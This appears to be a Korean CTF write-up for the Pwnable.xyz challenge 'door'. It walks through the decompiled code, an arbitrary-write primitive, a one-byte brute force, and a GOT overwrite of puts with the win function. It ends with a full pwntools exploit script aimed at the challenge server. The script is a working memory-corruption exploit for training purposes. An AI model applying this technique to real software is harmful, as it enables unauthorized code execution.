tmxklab

[Pwnable.xyz] door 본문

War Game/Pwnable.xyz

[Pwnable.xyz] door

tmxk4221 2020. 9. 9. 22:33

1. 문제

nc svc.pwnable.xyz 30039

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choose; // eax
  int v5; // [rsp+4h] [rbp-Ch]
  int v6; // [rsp+8h] [rbp-8h]

  setup(argc, argv, envp);
  puts("Door To Other RealmS");
  v5 = 0;
  v6 = 0;
  door = rand();
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          print_menu();
          choose = read_int32();
          if ( choose != 2 )
            break;
          if ( door )
          {
            printf("Realm: ");
            v6 = read_int32();
          }
        }
        if ( choose > 2 )
          break;
        if ( choose != 1 )
          goto LABEL_17;
        if ( door == v6 )
        {
          printf("Door: ");
          v5 = read_int32();
          printf("Realm: ");
          v6 = read_int32();
          *(_DWORD *)v6 = v5;
          door = 0;
        }
      }
      if ( choose != 3 )
        break;
      if ( door && v6 )
        *(_DWORD *)v6 = v5;
    }
    if ( choose == 4 )
      return 0;
LABEL_17:
    puts("Invalid");
  }
}
  • v5, v6에 0으로 초기화하고 door에는 랜덤 값이 온다.
  • 메뉴 1 : door(전역변수)와 v6가 동일하면 v5와 v6에 입력 값을 받고 *v6에 v5의 값을 넣는다. 마지막으로 door에 0으로 초기화한다.
  • 메뉴 2 : door에 값이 존재하면 v6에 값을 입력받는다.
  • 메뉴 3 : door와 v6 둘 다 값이 존재하면 *v6에 v5의 값을 넣는다.

2. 접근방법

먼저, 메뉴 1번에서 *v6 = v5를 이용하여 원하는 주소에 원하는 값을 쓸 수 있으며 mitigation에서 full RELRO가 아니므로 got overwrite로 문제를 해결하기로 접근하였다. (메뉴 3번도 *v6 = v5를 하지만 v5에 원하는 값을 쓸 수 없음)

 

로직 정리)

  • door(전역변수) : 0x601244
  • v5 = 0, v6 = 0, door = rand()
  • 메뉴 1 : if (door == v6 ) → v5, v6 = read_inre32() → *v6 = v5
  • 메뉴 2 : if (door) → v6 = read_int32()
  • 메뉴 3 : if (door && v6) → *v6 = v5

 

위 로직을 살펴보면 알 수 있듯이 got overwrite를 하기 위해서 메뉴 1번을 실행시켜야 하고 그러기 위해서는 door값과 v6값이 동일해야 한다.

하지만 door는 랜덤 값이고 v6는 처음에 0으로 초기화 되어 있다.

 

이제 단계별로 문제에 접근을 해보자

 

 

첫 번째)

먼저, 처음에 실행시킬 수 있는 메뉴는 2번밖에 존재하지 않는다.

메뉴 2번을 통해서 v6에 원하는 값을 작성할 수 있다.

 

 

두 번째)

메뉴 2번을 실행하면 메뉴 3번을 실행할 수 있다. 그러면 v6가 가르키는 곳에 널 값을 넣을 수 있다.

여기서 door에 값을 넣을 수 있는데 전부 널 값을 넣는 대신 하위 1byte를 제외한 나머지 3byte만 널 값을 넣기로 한다. 왜냐하면 door전부를 널 값으로 만들면 메뉴 2번과 메뉴 3번을 실행 못하고 v6에는 그대로 door의 주소 값이 존재하므로 메뉴 1번도 못한다

  • door 하위 1byte인 0x55만 제외하고 넣기
  • 0x601234(*v6) = 0x0(v5)

 

세 번째)

그럼 대충 하위 1byte의 범위인 0 ~ 0xff까지 브포를 하면 금방 door와 v6의 값이 동일할 것이고 *v6 = v5가 가능하다. 여기서 바로 got overwrite를 하면 될 것같다.

 

 

문제 발생)

  • 성공적으로 puts@got에 win함수를 박았으나 이런 mov DWORD ptr [rdx], eax로 인해서 4byte만 got에 값이 쓰여졌다.
  • puts는 이전에 한 번 호출되어 매핑되어있어서 상위 4byte에도 값이 존재한다.

 

해결)

아까 door의 상위 3byte 널 값으로 채워넣은 것처럼 똑같이 puts@got 상위 4byte에 널 값을 넣으면 됨

 

 

공격 프로세스)

  • 메뉴 2 : v6 = 0x601245 → 메뉴 3 : 0x601245 = 0x0
  • 메뉴 2 : v6 = 0x60101c → 메뉴 3 : 0x60101c = 0x0
  • (브포) : 메뉴 2 → 메뉴 1
  • door값과 v6값 동일하면 이제 got overwrite

 

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30039)
e = ELF("./challenge")
#gdb.attach(p, """b*0x4009b8""")

puts_got = e.got['puts']
win_addr = e.symbols['win']

# 1. input 0x0 at door high addr 3byte  
p.sendlineafter("> ", str(2))
p.sendafter("Realm: ", str(6296133))
p.sendlineafter("> ", str(3))

# 2. input 0x0 at puts@got high addr 4byte
p.sendlineafter("> ", str(2))
p.sendafter("Realm: ", str(6295580))
p.sendlineafter("> ", str(3))

# 3. brute force
for i in range(256):
	p.sendlineafter("> ", str(2))
	p.sendafter("Realm: ", str(i))
	p.sendlineafter("> ", str(1))

	if p.recv(2) == "Do":
		log.info("find")
		break
	else:
		continue

# 4. got overwrite
p.sendafter(": ", str(win_addr))
p.sendafter(": ", str(puts_got))

#gdb.attach(p)
p.sendlineafter("> ", str(5))

p.interactive()

 

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] PvE  (0) 2020.09.09
[Pwnable.xyz] note v3  (0) 2020.09.09
[Pwnable.xyz] child  (0) 2020.09.09
[Pwnable.xyz] car shop  (0) 2020.09.09
[Pwnable.xyz] words  (0) 2020.09.09
Comments